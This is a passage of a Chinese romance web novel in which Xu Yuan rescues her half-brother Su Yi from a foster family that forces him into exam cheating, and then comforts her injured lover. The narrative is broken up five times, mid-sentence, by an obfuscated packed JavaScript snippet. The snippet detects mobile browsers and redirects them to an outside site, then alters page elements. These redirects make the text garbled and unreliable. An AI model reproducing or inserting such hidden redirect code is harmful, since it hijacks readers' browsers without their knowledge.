许宁挽着傅京礼的手腕,笑吟吟的贴在傅京礼耳侧:“阿礼,你看那个是不是我们在实验一高见过的那位男学生,他和姐姐好像真的很有缘呢。” 傅京礼抬眸眼神冷淡的扫了眼,半晌后沉声:“不必理会。” 话是这样说,目光却一直没有移开,直至许愿离开。 会场的经理笑呵呵的走到苏逸面前,拍了拍他的肩膀,笑道:“今晚做得不错,这是你今晚的酬劳,许经理已经跟我们打过招呼了,早点回去休息吧。” 经理边说着,心里还在冒冷汗。 谁也没瞧出来这么个穷小子,是怎么跟许愿搭上关系的。 苏逸只收现金,这是一开始就说好的,只是牛皮纸袋包装的厚厚一沓现金,保守估计也要有一万块。 “我的薪酬似乎没有这么多。” 他没有直接拿,而是眼神晦涩的看着经理。 “这不是有大人物打赏了一笔钱,你们这些服务员平分都能多拿一部分,拿着吧。” 话都说到这份儿上了,傻子都能猜出来是许愿出了一笔钱。 苏逸喉头发堵,他知道许愿跟自己没什么更多的关联。 但就是有一种错觉,好像许愿是为了他,才拿了这笔钱出来。 他接过这笔钱,偏头看向经理,最终还是开口询问。 “许经理在圈内很厉害吗。” 会场经理又开始不停冒冷汗了,他干笑一声:“许经理啊……许经理她……嗯,她还是很有人脉的。” 他能说其实博雅拍卖厅两年前,就已经被盛华接手了吗? 旁人不知道盛华真正的掌权人是谁,他是老人,却是知道的。 许愿才是盛华真正的话事人。 且,就算不提盛华,单是许愿在傅氏的身份,就够让圈内人高看拉拢的。 “许经理是傅氏项目组的经理,恋人又是盛世的总裁盛景炎,在这个圈子里谁不捧着敬着?不提盛总,就是许经理的手段,圈内也都是有目共睹的,没人上赶着敢去招惹许经理。” 会场经理也算是聪明,没有告知苏逸许愿的真实身份,说出来的还是大众已经知晓的。 单拎出个项目组经理,就足够了。 苏逸眸光闪了闪,片刻后点了下头。 “我知道了。” 会场经理见苏逸离开,方才要走去安排后面的事,岂料一转身就对上男人沉冷的面色,经理整个人都一惊。 “傅总?” 傅京礼眉眼冷淡,并未回话,转身离去,唯有许宁踩着高跟鞋紧跟在傅京礼身后。 许宁眸光掠过一抹精光,让傅京礼听到许愿这么帮着其他男人,肯定会对许愿彻底失望。 许愿本来就是这种人,她才是真正的水性杨花。 休息间内。 苏逸拿过自己的包换了衣服就要离开,倏然听到“哒哒哒”的高跟鞋声由远及近的传来。 抬头就对上一张柔美漂亮的面容,脸上表情笑吟吟的,看着温和无害。 他记得这张脸,在实验一高见过。 “苏同学,你好啊。” 许宁朝他挥了挥手,声音温柔,眼尾上挑,带着几分意色。 苏逸冷淡的扫她一眼,背上包就要离开,路过许宁时却被她勾住背包带。 “苏同学,不要急着走啊。” “你这么慌张害怕,是被什么人发现吗?还是说急着联系许愿来帮你救你呢?” 许宁贴他贴得很近,像是条阴毒的蛇缠绕在他身边。 脸上明明带着温和的笑意,可眼底却只余破碎的冰冷之感。 “许愿连她自己都救不了,又怎么有余力来救你呢?” 许宁捂住嘴咯咯的笑着。 “你以为许愿是多尊贵的身份吗?” “她的母亲早死,这些年在虚假唯唯诺诺长大,好不容易遇到个优秀的男人,却还被抛弃了,你听外面人都说她身边有个盛景炎是吗?” 她眼神陡然狠辣。 “盛景炎在圈内是什么名声,你可能不清楚。他是出了名的浪荡子,许愿攀附上他,只会是个以色侍人的花瓶。” “你以为她凭什么能爬得这么高?那是因为她男人多,沈略和容浔将资源都给了她,盛景炎更是一步步陪着她走,许愿能到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618073|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天,都是靠男人。” “你还想让她救你?她连她自己都救不了。” 事实真相是什么样的,许宁完全不在乎。 在她心里,许愿只会靠男人。 苏逸垂眸,目光落在她狰狞的脸上。 她提到许愿时,就会激动得像个疯子。 “许宁小姐吗。” 苏逸偏头看她一眼:“许宁小姐能成为傅总的秘书,是因为靠着傅总吗?” 一句话,许宁彻底哑声。 她很想反驳,但是……她靠着傅京礼上位是事实。 苏逸似是觉得可笑,嗤笑一声。 说多了,都是因为嫉妒罢了。 苏逸略过许宁,不予理会,根本没有察觉到许宁阴狠的脸色。 她攥紧手机,咬牙切齿的将苏逸的消息发到苏浩天手机上。 牙尖嘴利! 等你被苏家人带回去,看你还如何嚣张? 这辈子只配被踩在泥地的贱种! 许宁和苏逸之间发生的事,许愿一概不知。 她的车停在会场外,等了段时间才看到苏逸孤寂的身影。 她微微垂下眼睫,对着驾驶座的姜瑜淡淡道:“跟上。” 姜瑜什么都没问,不远不近的驱车跟在苏逸身后。 苏逸上了一辆网约车,车子一路疾驰,地点越来越偏,从市中心逐渐转到郊区边缘地带,再一踩油门几乎要到临市。 这块区域是a市房价最低的郊区,说是a市,倒不如说是贫民窟。 也只有外地人来a市找工作的农民工亦或者其他苦力工作者,会在这地方租住。 一间房子中间用不算结实的木板隔开租出去,洗浴间厕所全都是公用的。 车子到了这附近,根本完全开不进去,只能停在路口。 许愿的眉头一直紧皱,下车后姜瑜跟在她身后,其后跟随的两辆车也停下来。 下车的是随行的保镖,盛景炎安排过来的,担心她今晚会受委屈。 这个时间,三三两两的民工和一些特殊工作者都已经下班,聚集在一起。 此刻,他们的眼珠子几乎黏在许愿身上,完全无法移开。 第120章 我的亲弟弟 察觉到那些视线,许愿微微敛眉,鼻端能清晰的闻到筒子楼这边散发的垃圾腐烂发酵的臭味儿。 她的内心泛起阵阵呕意,不适的捏了捏眉心,姜瑜立刻扶住她,带着她向前走。 前面有人带路,终于找到苏逸租住的房间,在筒子楼最里面的一间房。 一行人站在门外,周围能听到附近的嘈杂吵闹声,这个时间还夹杂着男男女女的靡靡之音。 这样的环境…… 他学什么?他要怎么高考? 她根本无法克制自己内心的怒意和悲伤。 许愿站在门外,手伸起又放下,最终还是沉默的推开步子。 终于打算敲门时,听到房内传来嬉笑怒骂声。 房间内。 苏浩天接到许宁发来的信息,立刻带着苏正坤打车到苏逸的住址。 没等苏逸回去,苏浩天就已经威胁着房主,拿到钥匙开门闯进去。 苏逸到家时,看到的就是苏浩天百无聊赖的摊躺在他的床上,跟女人视频聊天。 苏正坤坐在一旁抱着手臂,面上都是怒容。 看到他进来,苏正坤直冲过去,一耳光狠狠甩到苏逸脸上。 他躲闪不急,再加上一整晚未吃饭,只觉有些耳鸣的倒退几步,后背跌到墙面上,唇角渗出几许血丝。 “苏逸!我这些年对你还不够好吗?你竟然在这种时候逃跑!?” 苏正坤拎起苏逸的衣领低声怒斥:“你知不知道你爸我跟那些人已经谈拢了替考的价格,五百万啊!把你卖了都没这些钱,你只要去考一次,我们家就能拿到这笔钱,你为什么不去?” “你现在还没有成年,今年替考一次明年再战不行吗?你为什么一定要跑!” 苏正坤爆发的怒意根本止也止不住。 这些天,他和苏浩天一直都在赵苏逸。 附近都找遍了,甚至堵在学校。 可谁能想到苏逸心思这么重,竟然躲到了郊区? 找不到苏逸,不光是拿不到钱还会得罪大人物,他们一家子都要遭罪! “哈,跟他说这么多做什么,直接绑回去,他总会想通的。” 苏浩天嗤笑一声,夺过苏逸的背包,看到那一沓钱时眼神狂热无比,但是目光掠过苏逸却仿若是在看垃圾。 筒子楼的隔音并不好,只隔着一层木板。 许愿听到一道粗犷的中年男音斥责的说着“替考”二字。 替考? 许愿眸色愈发冷冽。 他们是疯了? 许愿的手紧握,声音低哑:“把门踹开。” 姜瑜顿了下,似是察觉到许愿的情绪,不等他说句什么,保镖已经冲过去将房门一脚踹倒。 “轰”的一声,周围的声音都停了,有人骂骂咧咧的推开门,待看到站在拥挤的狭小廊道外的黑衣保镖们,立刻发怂的缩回房间。 一时,吵闹的筒子楼变得寂静无声。 还在房内逞威风的苏正坤整个人已经吓傻了,呆呆愣愣的说不出话。 苏浩天一直装着自己是好人的模样看戏,听到声响险些从床上跳下来自己逃出去,结果人都还没站稳,就对上许愿那张清冷明艳的面容。 美得他心里发慌,觉得太不真实。 苏浩天着急忙慌的想跑,却被保镖制住手臂,将人强硬的扯拽丢到地上。 苏正坤整个人都在颤抖,却还是疾言厉色:“你们是什么人!我教育我自己的儿子你们插进来做什么!小心我报警把你们这些流氓全都关进去!” 苏逸隐在角落里,抬起头看着苏正坤狰狞的面色,不冷不热的开口:“报警让警察知道你逼我替考的事吗?” “你给我闭嘴!” 苏正坤涨红脸,要朝苏逸扑过去,保镖适时的扣住他两条手臂,将人押到地面上。 许愿眼神冰冷的看这一出闹剧,看着苏家父子像猴子一样上蹿下跳。 “教育你的儿子。” “我许愿的亲弟弟,什么时候是你的儿子?” 许愿双手交叉,微微用力,声音透着危险的寒意。 “让你养几年而已,你还真把自己当他父亲了,你这样大脑完全不发育满脑子走偏门的阴沟臭虫也配?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618074|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 许愿话音才落,苏逸的身体都在轻微的颤抖。 他没有说话,仍然躲在阴暗的角落,只是目光一直追随着许愿的身影,不曾移开。 现场一片寂静。 苏正坤挣扎的动作都轻了,他大张着嘴巴,嘴里喃喃:“不可能……不可能!你怎么会是他的姐姐呢!当初那人把这孩子给我的时候,说了他是个杂种,让我随便对待的!他没有父母没有亲人,他就是个杂种……啊!别踩!别踩!” 不等他哀嚎叫嚷完,已经有保镖踩住苏正坤的嘴,让他说不出那些污垢的话语。 许愿冷眼看待面前发生的一切,片刻后等苏正坤缓过来,方才淡淡开口。 “告诉我,当初那人是怎么对你说的。” 保镖已经取出录音笔和摄像机,全都对准了苏正坤。 苏正坤瑟瑟发抖,仿佛是陷入了会议,缓了好久才开口。 “那是很久以前了 ,那位先生在赌桌上找到我,丢给我一个婴儿,告诉我要我养大这个孩子。” “我那时很慌,那位先生告诉我,这是他仇人的孩子,他要我养废这个孩子,让他变成我这样吃喝嫖赌的废物。他告诉我,让我在外装出父慈子孝的模样,对内不许他学习念书,要让他变成像我这样的烂赌鬼。” “那位先生每个月会给我一笔钱,作为养育孩子的基金。我为了那笔钱,收下了这个孩子。” 苏正坤讲得越来越多,他说自己引导苏逸赌钱,结果上瘾的却是亲儿子苏浩天。 他引导苏逸骗女孩子睡觉,岂料最后勾着未成年发生关系的是亲儿子。 他所有的设计都被苏逸轻松化解,他也是倦了,所以才想利用苏逸多捞一笔钱。 “我真的没有什么坏心思,我只是想要阿逸替考几次,多拿几笔钱!” 苏正坤大喊着自己冤枉。 许愿垂眸,声音阴冷。 “许镇江那么恨他,替考这件事你真以为他不知情吗?” 许愿嘲讽:“苏逸真的被你逼上替考这条路,同意替考后,你们苏家所有人全都会因为违法犯罪入狱。” 第121章 是她错了 苏青莲想让苏逸有个安稳平静的普通人生,在弥留之际将苏逸托付给她。 那时她年纪尚小,根本没有能力去照顾一个那么小的孩子。 她心里那么恨许镇江,恨不能撕扯他的血肉吞进肚,又怎么可能对他有期待? 苏逸是苏青莲和其他男人生下的孩子,许镇江的内心只会藏着阴暗的恨意。 许镇江不仅恨苏青莲离婚后跟其他男人生了孩子,也恨她这个身体内流着苏青莲血液的女儿。 可他们毕竟不同,她身体内还留着许家的血,所以许镇江肯养着她。 哪怕像是养牲畜小狗小猫那样,也愿意养大她再去换取更多的交易。 苏逸呢? 在许镇江看来,是苏青莲背叛他才有的“产物”。 他绝不可能养大苏逸,若是苏逸留在许家,迟早有一天会意外身亡。 许愿那时年纪尚小却想得通透,所以她几乎是跪在地上卑微的去求许镇江给苏逸一条活路,找个普通人家让他好好长大。 他答应得多好啊,找了一家普通却又幸福的家庭,父亲是教师,母亲是公司职员,家中还有个小哥哥,在这种家庭长大的孩子,一定会幸福的不是吗。 许镇江亲自带她去远远看过几眼这家人,她也在为苏逸开心,她想自己这一辈子都不可能过上这样无忧无虑的幸福生活的。 这样多好,有温和可亲的父母,温柔的哥哥,这样的生活谁都会羡慕的。 那时许愿甚至想过,自己是不是错怪许镇江,其实他并没有那么坏。 那段时间她偷偷去探望过苏逸,苏逸一直都品学兼优,她才真的放下心,重新开始自己的生活。 可是错了,是她错了。 许镇江为苏逸选好的家庭,是让他踏入地狱的入场券! 从一开始,就是许镇江设下的陷阱! 职业是教师是真的,却是个猥亵女学生吃喝嫖全都占齐金玉其外的人渣废物。 那位还算正常的母亲早已跟他离婚,为了能够跟苏正坤离婚,也付出了惨痛代价,净身出户,才最终逃离苏家。 而那个哥哥……夜店常驻的校园霸凌者。 苏逸是如何在这样的环境下长大的? 她一直以为苏逸生活得安稳,见他成绩一直优秀就没有再多关注他,这几年因为情感和事业相关的问题,也因为不想自己的干涉打破苏逸平静的生活,所以并没有去调查更多。 没想到,平静的生活下掩埋的,是如此肮脏的事实真相。 哈。 她真是错得彻底。 许愿取出手机,声音带着几丝颤音。 “阿酒,去查苏逸这些年的遭遇,全都查清楚。” 这个时间,薛酒和陆斯年都在公司翻阅资料,为即将到来的金融峰会做准备,接到许愿的电话,明显感觉到许愿情绪不对。 “出什么事了?” 薛酒放下调查到一半的资料,语气焦急。 许愿缓了许久才终于用平静的语气开口:“许镇江骗了我十几年。” 聪明如薛酒,立刻明白许愿话中的意思。 苏家人的事情并不难查,他们只是普通身份的小百姓。 薛酒也担心自己问多了刺激到许愿,他没有多劝,轻巧的转移话题:“我已经吩咐下去了,我和斯年哥在为金融峰会做准备,国外有一家智能企业相关的,你应该会很感兴趣……” “你们决定就好。” 她现在几乎没有心情谈工作。 连工作都不想谈了,看来是真的受了刺激。 薛酒沉默,没再挑起话题。 许愿挂断电话,目光缓慢的落到苏正坤和苏浩天的身上,语气平淡又带着刺骨的冷意。 “带回去,等查清楚后,我自然会送他们去该去的地方。” “你不能这么对我们!” 苏正坤身体抖得厉害,他明显也是怕被许愿查出更多,他要被肆意的打击报复。 “你这是绑架,是监禁,侵犯了我们的人身自由权!” 许愿轻笑一声。 她脸上带着笑,目光却是冷的,眼底掺杂着细碎的寒冰。 “只是想请苏先生做客而已,怎么会是绑架监禁?您将我的弟弟养育照顾得如此优秀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618075|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我当然要感激苏先生,所以特地邀请您回去做客呢。” 话落,许愿目光冰冷的瞥向一旁的保镖:“堵住嘴,带走。” 保镖立刻将苏正坤苏浩天拎起来,强制拖远带走。 筒子楼的人全都缩在房间里,没有人敢强出头的报警,凸显自己的正义感。 他们这些人早就被磋磨的没有了棱角,他们太明白在a市有多少权贵,哪怕只是街角的混混,都不是他们这种地位低下的人能招惹的。 他们冷眼旁观,只顾着自己眼前利益,透过模糊狭小的窗看到还在不断挣扎求救的苏家父子,没人站出来。 许愿终于算是松了一口气。 岂料下一秒,房间内冲进来两个青壮年,长相猥琐头发油腻,嘴里不干不净:“小美人儿,我们来了,等久了吧!” 话音才落,就已经扑过来。 人还没凑过来,已经 被保镖一脚踹到胸口,飞了出去。 “你们怎么打人啊?不是你们姐弟两个约了我们吗!” 绿豆眼的猥琐男人无赖似的躺倒在地上撒泼打滚,直到眼前落下大片阴影,胸口被黑衣保镖狠狠踩住,才涨红着脸止不住的咳嗽。 许愿眼神冰冷的看着眼前这一幕。 知道他们只姐弟两个,还特地叫了人来侮辱他们,是猜到她今晚会来这里,这人还能是谁? 只会是博雅拍卖会上遇到的许宁。 她真是永远都会被许宁的下作招数刷新下限。 许愿眼神冰冷的看着这一幕:“带走。” 今晚发生的事情太多,她已经有些疲惫不堪,手撑着墙几乎要站不稳。 这一刻,她脑内想了很多,思绪纷飞,小腹也隐隐传来些微的疼痛感。 她捂住唇,忍住了涌上胸口的呕意。 偏过头,才看到一直隐匿的站在角落缩小存在感的苏逸。 在这个狭小整洁的房间,他整个人仍然干净清冷。 一如那天在实验一高时见到他那般,是个清爽温润的少年。 直到对上少年那双毫无感情的黑眸,许愿的心都跟着颤了颤。 第122章 哭了没,来哄你了 “苏逸,我知道你很震惊,但是有些真相我必须告诉你。” 许愿强迫自己站稳,用平静的口吻向他解释,却被少年打断。 “都已经毫不在意了,为什么还要来呢?让我永远烂在淤泥里不好吗,许经理。” “我大概能清楚你们的意思。” “你想让我过平静的生活,找了个人抚养我长大,可你若真的在乎我,怎么会什么都查不到呢?” 苏逸眼神很冷:“你是真的查不到,还是毫不在意?只有许经理你自己清楚。” 他开口称呼她许经理,语气冰冷不带半分感情,好像此刻在她面前的许愿只是一个陌生人。 对。 现在的许愿对他来说,就是个陌生人。 许愿很想为自己辩解,可是……确实是她忽略了。 她沉浸在事业中爱情中,她在为了傅京礼痛苦时,苏逸却生活在水深火热之中。 她在为自己抗争时,苏逸险些被逼着替考毁掉一生。 是她的忽略,才造成了如今的局面。 如果当初她能再认真些,如果她一直关注着苏逸…… 内心的酸楚感已经到达顶峰,许愿垂下头,眼眶已经整个发红,可她不愿在苏逸面前落泪,她强忍着将眼泪憋回去。 她这些年都做了什么呢? 追求半生的男人负了她,让她成为笑话。 在她伤春悲秋的时候,亲弟弟险些被逼上绝路,被唯一的亲人如此质问嘲讽,几乎戳破她心底最后的一层防线。 她没办法解释,声音都透着几许苍白。 “无论如何,先跟我回去,你不能一直住在这里。” “不管你认不认我这个姐姐,起码要在我那里等到你成年。等你成年后,我会把属于你的东西都交给你,到那时你想离开或者留下,都随你选择,我不会逼你做任何事。” 只有此刻面对苏逸时,许愿的声音是温和的。 这次苏逸什么都没说。 他心里也清楚,他无处可去。 就像许愿说的,不管认不认她,他都要跟她走。 只有跟她走,他才能摆脱苏家父子。 上了车,看到苏逸在另一辆车上,许愿的心才终于算是放下。 她报了个位置,是她在a市购下的私人别墅。 明面上用的是在傅氏工作拿到的奖金购买的,别墅位置距离市中心并不算远,三层楼高的别墅装修豪华,占地面积广泛,装修风格也偏日系一些。 苏逸下车,看到这栋别墅表情微怔,内心却只觉嘲讽。 “许经理,这种地方是我配来的吗?” 许愿目光落在他身上,开口:“为什么不配来?如果你喜欢,等你成年后,这栋别墅可以转给你。” “我不需要。” 苏逸单薄的身影,在微风中仿佛都被吹得轻微晃动。 他对上许愿那双清冷温和的眼眸,脸上不带任何表情,毫无波澜。 “我想要的东西,我自己可以得到,不需要任何人的施舍。” “这样很好。” 许愿被苏逸的话堵住,眼神有片刻的恍惚,她看着面前青竹般硬朗清俊的少年,只能温和的笑了笑。 她是真的认为这样很好。 这样,哪怕以后没有她的帮助,苏逸也能够走得很远。 他这样优秀的少年,是注定要翱翔飞到高空的。 回到房间,许愿终于忍不住泛上来的呕意,她冲到洗手间干呕许久,可今天一天都没有吃什么东西,什么都吐不出来。 她双手撑在水池边,抬头对上镜中的自己,泛红的眼睛已经在不停落泪。 一滴,两滴,三滴。 她拧开水龙头洗了把脸,好似这样就没有流泪一般,掩耳盗铃似的欺骗自己。 多有趣。 那么多人在外都夸她内心强大,可谁知道她只会在黑夜中偷偷躲在房间内哭泣。 她很想压抑那种喷薄的情感,但是克制不住的。 看到苏逸遭受的,会忍不住的内疚,她甚至认为造成这一切的推手都是她自己。 若不是她,苏逸不会被送到苏家。 她被养在许家,但是也算受到傅家庇护,接受了良好的教育才有如今的她,可苏逸遭遇的那些呢? 如果不是苏逸抵抗住了那些诱惑,现在的苏逸会变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618076|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成什么样子? 像苏浩天那样五毒俱全玩弄女性的混混吗? 不等她想更多,手机响起,是盛景炎打来的视频电话。 她现在这副模样,哪里能见人。 许愿抹去眼角的泪水,摁断电话。 盛景炎那边很快又打过来,这次是语音电话。 这个男人,总是在不适宜的时候让人感受到体贴温柔。 她接通电话,还未开口,就听到男人轻快的声音。 “哭了没,来哄你了。” 许愿克制不住的握紧自己的手机,本来憋回去的泪意重新涌起,热泪蓄在眼眶中。 她以前其实一直都觉得需要有个什么坚强后盾精神支柱都是很可笑的事,她总觉得自己是能够做很多事情,根本不需要其他人。 可直到 此刻,盛景炎如此轻快简短的一句话,却让她内心涌动着无尽的悲伤。 “盛景炎,你少在那里胡说八道了,我没哭。” 她嘴硬。 “好,你没有哭,是小美人鱼在掉小珍珠。” 他声音温柔,像是在她耳畔吹拂过的温柔暖风,像是带着情人间的呢喃:“小美人鱼开下门吧,姜瑜都在楼下看我好久笑话了。” 许愿整个人都顿住,一时之间也忘记擦去眼角的泪水。 打开门的瞬间,就看到男人坐在轮椅上,一手举着手机,另一只手中提着她最爱口味的甜品,听到开门声瞬间看过去,眉梢都微微挑起,带着笑意。 门外除了他没有别人,大厅也没有姜瑜。 门口处悬挂的灯光闪烁着细碎的灯光,照射在他俊美的脸上,那双含笑的眼睛溢满温和的柔情。 他是个很矛盾的人,明明长了一张看起来坏坏的脸,但是面对她时总是温柔得像是携带着世上最柔美的光辉。 许愿站在原地久久没有动。 盛景炎低笑:“好吧,我觉得你现在可能需要一个拥抱。” 许愿仍然没动。 盛景炎轻叹一口气,他从轮椅上站起来,一步一步走得很慢,点心被他放到房间门口的桌上。 他伸出手,将人很轻很缓的搂抱进怀中。 第123章 不是心机,是在意 许愿是真的很瘦很轻,但是抱起来香甜柔软。 只是此刻的她在悲伤,盛景炎像是隐约能嗅到她身上都好像带上了点苦意凉意。 “大小姐真的不能向我走一步吗?看来只能由我走完那一千步,走到你面前了。” 他眉眼含笑,笑起来时胸口都在颤着。 他的怀抱是真的很温暖,盛景炎来之前应该是特地收拾打扮了,身上的消毒水的味道很淡,但能嗅到清爽的皂角味道和古龙水的气息。 男人下巴磕在她肩上,像是一只猫一样摇着蹭着,他细碎的黑发扫过她光滑的脖颈,带来很轻微的痒意。 “怎么一直不说话?” 盛景炎放开她,眼睛弯弯的,那双眼睛里盛装的全都是许愿。 许愿指尖都还在轻微的颤。 “盛景炎,你是不是又在跟我玩心机耍手段。” 她声音都在发抖。 盛景炎顿了下,不由失笑。 “你想我怎么回答呢。” “你应该清楚,我长这么大,就是靠着玩心机才能走到现在。玩心机耍手段是真的,担心你也是真的。” “这样的回答,你满意吗? 他这种人自小玩心机长大的,让他全心全意的去对待一个人,那是绝对不可能的。 他已经习惯性的会第一时间考虑到自己的利益,自己能得到什么,对方能得到什么,自己是不是利益最优方。 但是这次,他也是真的在为她难过。 他那时心里在想什么? 他想,我要去见她,我要出现在她身边,我要陪着她,要让她知道自己还在,要逗她开心要为她驱散阴霾。 他满脑子的都是“我要为她做什么”,脑子内过完了这些,他才想到这样做许愿是不是会感动,是不是会更坚定的选择他。 “算了。” 许愿一手抓住他的领带,很轻微的呼吸,微热的呼吸喷洒在他下巴处,凑上去很轻的吻了吻。 “是心机,我也认了。” 她现在很需要有人能安慰她、抚慰她,好像那个人只能是盛景炎了。 在他声音带笑的说“哭了没,我来哄你了”这句话时,她的脑海中好像已经没有傅京礼了。 那一刻她想到的只是,我需要盛景炎,我只要盛景炎。 那种浓烈的渴望到达顶端。 “不是心机,是在意。” 或许还不到真正的无法割据的爱这一步,但一定是在乎的。 盛景炎低头,两人距离很近,他眼眸闪烁着微微的星光。 “我要吻你了。” 他这样说着,也真的吻下来,吻得温柔却又缠绵。 两人纠缠到一起,房门被关上,肌肤贴着肌肤。 外套一件件脱落,从房门吻到床头,暧昧的灼烫的呼吸和温柔得几乎要将人溺死在其中的热吻。 她轻喘着,手撑在盛景炎胸口,触摸到些许湿润。 是血。 她喉间微微发堵。 “不能继续了。”她推拒。 “可以的。”盛景炎灼热的呼吸喷洒在她颈侧,“我可以。” “你不可以。” 许愿抬起自己的手,上面是他渗出的殷红鲜血。 盛景炎顿住,许愿已经后退几步。 “我不可以,你也不可以。” 她腹中还有傅京礼的孩子,盛景炎身体都还没养好,怎么继续? 盛景炎眼底的热意都渐渐褪去,他似乎已经冷静下来,声音却还是带着笑的。 “是我一时冲动,你别在意。” 明明在流血的是他,却还是在向她道歉。 许愿垂眸,心口像是在轻微的发烫,烫得她心口难受起来。 “坐下,我去取药箱。” 男人十分乖巧,似乎也知道自己现在多说一句话都可能惹怒她,十分乖巧的坐在沙发上,目光却落在胸口不停渗血的伤口处,带着几分懊恼。 若不是因为这伤,恐怕今晚…… 也不对,做不到最后,说不定叫停的还是他。 盛景炎轻啧一声。 “你是怎么从云尚逃出来的,我不是都已经让江医生安排人看着你了?怎么还能让你逃出来。” 盛景炎揉捏了下自己的右臂开口道:“我去找了江惊蛰,跟她说我想见你,江惊蛰就让我坐着轮椅出来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618077|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说着,目光落到门口。 虽然门已经被关上,轮椅也被留在外面,但还是能明显感受到盛景炎对轮椅浓浓的嫌弃。 “他就不该让你出来。” 纱布已经被许愿剪开,看到内里狰狞的伤口,她动作都停顿片刻方才继续。 “江医生是个好人,只是不想耽误我们谈恋爱,他能有什么错?” 盛景炎这种时候还有空逗她开心。 许愿给他伤口消毒的动作都大了几分。 “不要再胡说了。” 他倒也乖巧,眨着眼睛看她,眉眼之间都带着笑意。 他身上大大小小的伤口很多,胸口有,后背有,手臂上也有。 他这种时候都还能自我调侃还好没有伤到他“如花似玉”的脸蛋,结果下 一秒,就被许愿用酒精棉戳了戳额头的伤口,惹得他“嘶”了一声。 她今天是真的很累,给他包扎好伤口,就已经开始困倦了。 盛景炎虚虚的环抱住她,感受到她身上香甜的气息。 “盛景炎……” 她声音很轻很轻,好像真的很累了。 “嗯,我在。” 他轻声回应她。 “盛景炎……”她又在唤他。 “我在。” 盛景炎握住她的手腕,很轻缓的力道,似是担心吵醒她。 “我好难过,盛景炎。” 她这样呢喃一般的说,我好难过,盛景炎。 许愿这样性子的人,她什么时候会主动对谁说“我好难过”。 哪怕是对傅京礼,也没有这样讲过,只有在跟傅京礼完全划清界限的时候才会告诉他,她很失望很难过。 她现在如梦似醒的时候这样开口,好像真的已经完全信赖他那般。 “那我们小公主为什么难过呢?” 盛景炎宽厚修长的手掌轻抚着她的后背,像是哄着她安眠。 她没有说为什么难过,像是真的很困,已经闭上眼眸,只是会呢喃着说:“盛景炎,我好难过。” “我知道你很难过。”盛景炎拨弄着她额前的发,声音很轻,“不要难过,因为我也会难过。” 第124章 这是属于男人之间的对话 房间内寂静无声,只能听到彼此轻微的呼吸声。 盛景炎动作轻缓的将人抱到床上,为她盖上曾薄被。 去了冰袋用纱布裹住敷在她发红的眼睛上。 这样在床边坐了十分钟,目光一直落在她苍白到没有血色的脸上。 她似乎睡得并不安稳,怀中抱着个大型的抱枕,死死的抱住,缺乏安全感的表现。 他俯低身体,将她额前的发拢到耳后,在她额头落下轻柔的吻。 “晚安,做个好梦。” 话落,盛景炎离开房间。 苏逸的房间被安排在二楼楼梯拐角的位置,这是他自己选的。 盛景炎敲响房门,苏逸还没有休息,或者说他根本没有半分睡意。 打开门看到盛景炎,他的眼神都是冷淡的。 “有事吗?” 盛景炎脸上带着淡淡的笑:“十五岁,不小了,马上就是个男人了,谈谈?” 苏逸盯着他多看了几眼,侧身给他让位置。 房门关上。 盛景炎细细观察打量这间房,收拾得很整洁,没有人居住过也没什么装修风格,像是特意腾出来的客房。 不过,这也是苏逸自己选的。 “介绍一下,我是许愿的恋人,你未来的姐夫。” 